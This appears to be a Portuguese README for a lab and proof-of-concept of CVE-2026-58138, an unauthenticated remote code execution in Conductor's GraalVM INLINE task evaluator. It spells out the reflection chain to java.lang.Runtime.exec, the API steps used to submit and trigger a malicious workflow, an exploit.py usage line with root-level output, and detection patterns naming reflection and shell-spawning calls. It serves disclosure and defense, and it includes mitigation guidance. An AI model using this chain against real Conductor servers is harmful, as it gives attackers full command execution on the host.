
CVE-2026-58138 — Conductor (3.21.21..<3.30.2) RCE não autenticado via avaliador GraalVM INLINE (HostAccess.ALL). Lab + PoC, verificado e2e (root).
Resumo: O Orkes/OSS Conductor (versões
3.21.21a< 3.30.2) avalia JavaScript fornecido pelo utilizador em tarefasINLINEusando um contexto GraalVM com acesso total ao host (HostAccess.ALL). Como a API da comunidade não possui autenticação por omissão, qualquer utilizador não autenticado pode submeter um fluxo de trabalho malicioso, pivotar a partir do objeto JavaScript vinculado parajava.lang.Runtimee obter como o utilizador do processo Conductor (frequentemente ).
root| Atributo | Detalhes |
|---|---|
| Identificador CVE | CVE-2026-58138 |
| Software Afetado | Conductor 3.21.21 até 3.30.1 |
| Versão Corrigida | 3.30.2 (Commits: 87a7d96, c691e35) |
| Classe de Vulnerabilidade | CWE-94: Injeção de Código (contorno da sandbox polyglot do GraalVM) |
| Pontuação CVSS v3.1 | 9.8 (Crítico) AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Autenticação | Nenhuma (API da comunidade não autenticada por omissão) |
| Verificação | Confirmado como root contra conductoross/conductor:3.22.3 |
Nota de Versão: As versões até
~3.29.xusam a configuração simplesallowHostAccess(HostAccess.ALL), que este PoC explora diretamente. As versões3.30.0e3.30.1introduziram uma lista negra parcial (bloqueando alguma reflexão), mas a correção completa (allowHostClassLoading(false)+ endurecimento do motor) foi implementada apenas na3.30.2. Este PoC visa a configuração sem sandbox.
A vulnerabilidade existe na forma como o Conductor configura o contexto polyglot do GraalVM para a avaliação de scripts.
Em core/.../events/ScriptEvaluator.java (≤ 3.29.x), o contexto é construído assim:
return Context.newBuilder("js")
.allowHostAccess(HostAccess.ALL) // PERIGO: Interop total com o host, sem sandbox
.build();
Porque isto é um fim de jogo:
HostAccess.ALL concede ao motor JavaScript permissão para chamar qualquer método ou aceder a qualquer campo em objetos host Java.INLINE vincula os seus parâmetros de entrada à variável JavaScript $, que é um objeto Java real.$:
$.getClass().getClass() ➔ java.lang.Class ➔ Class.forName("java.lang.Runtime") ➔ Runtime.getRuntime().exec("sh -c <comando>").Context.newBuilder("python").allowAllAccess(true)).O ataque requer zero autenticação e segue três passos simples:
POST para /api/metadata/workflow com uma definição de fluxo de trabalho maliciosa. A tarefa INLINE contém o payload JavaScript reflexivo no seu campo expression.POST para /api/workflow/{workflow_name} para acionar o fluxo de trabalho.Runtime.exec reflexivo executa o comando do SO, e o PoC captura inteligentemente o stdout e devolve-o como saída do result da tarefa, que é então obtida através da API.Inicie uma instância local da versão vulnerável do Conductor usando Docker.
# Clonar o repositório e iniciar o ambiente de laboratório
docker compose -f docker/docker-lab.yml up -d
# Aguardar ~60 segundos para o servidor all-in-one iniciar completamente
Execute o script de exploração Python fornecido. Ele depende apenas da biblioteca padrão Python (sem dependências externas necessárias).
python3 exploit.py http://127.0.0.1:8080 -c "id; hostname; whoami"
[*] Alvo: http://127.0.0.1:8080
[*] Comando: 'id; hostname; whoami'
[*] Registando fluxo de trabalho com uma tarefa INLINE (javascript) maliciosa ... (sem auth)
[*] Iniciando execução do fluxo de trabalho ... (sem auth)
[*] Fluxo iniciado id=pwn_1705432100; lendo saída da tarefa INLINE ...
[+] RCE NÃO AUTENTICADO CONFIRMADO - saída do comando do host Conductor:
uid=0(root) gid=0(root) groups=0(root)
vbox
Linux 6.18.12+deb13-amd64
Nota: A saída uid=0(root) prova execução genuína no host, não uma resposta simulada.
A exploração bem-sucedida concede ao atacante execução arbitrária de comandos do SO no host orquestrador do Conductor.
Porque o Conductor é frequentemente implantado com privilégios elevados para gerir infraestrutura, isto tipicamente resulta em:
≥ 3.30.2. Nesta versão, os avaliadores JS e Python já não são executados com acesso ao host ou carregamento de classes ativado.Monitore o seu ambiente para os seguintes indicadores de compromisso (IoCs):
INLINE, LAMBDA, DO_WHILE ou SWITCH contendo strings expression que referenciem:
getClass, forName, Runtime, exec, ProcessBuilderjava.lang.reflect ou acesso genérico a pacotes java.sh, bash, cmd.exe) ou a fazer conexões de rede de saída.Para uma análise aprofundada da cadeia de reflexão, configurações de avaliador específicas de versão e análise do patch, consulte ANALYSIS.md.
Aviso Legal: Este repositório contém um laboratório independente e reproduzível e uma Prova de Conceito (PoC) destinados estritamente a fins de segurança defensiva, educacional e testes de segurança autorizados. Não utilize este código contra sistemas que não possui ou para os quais não tem permissão explícita por escrito para testar. Os autores não assumem qualquer responsabilidade por uso indevido.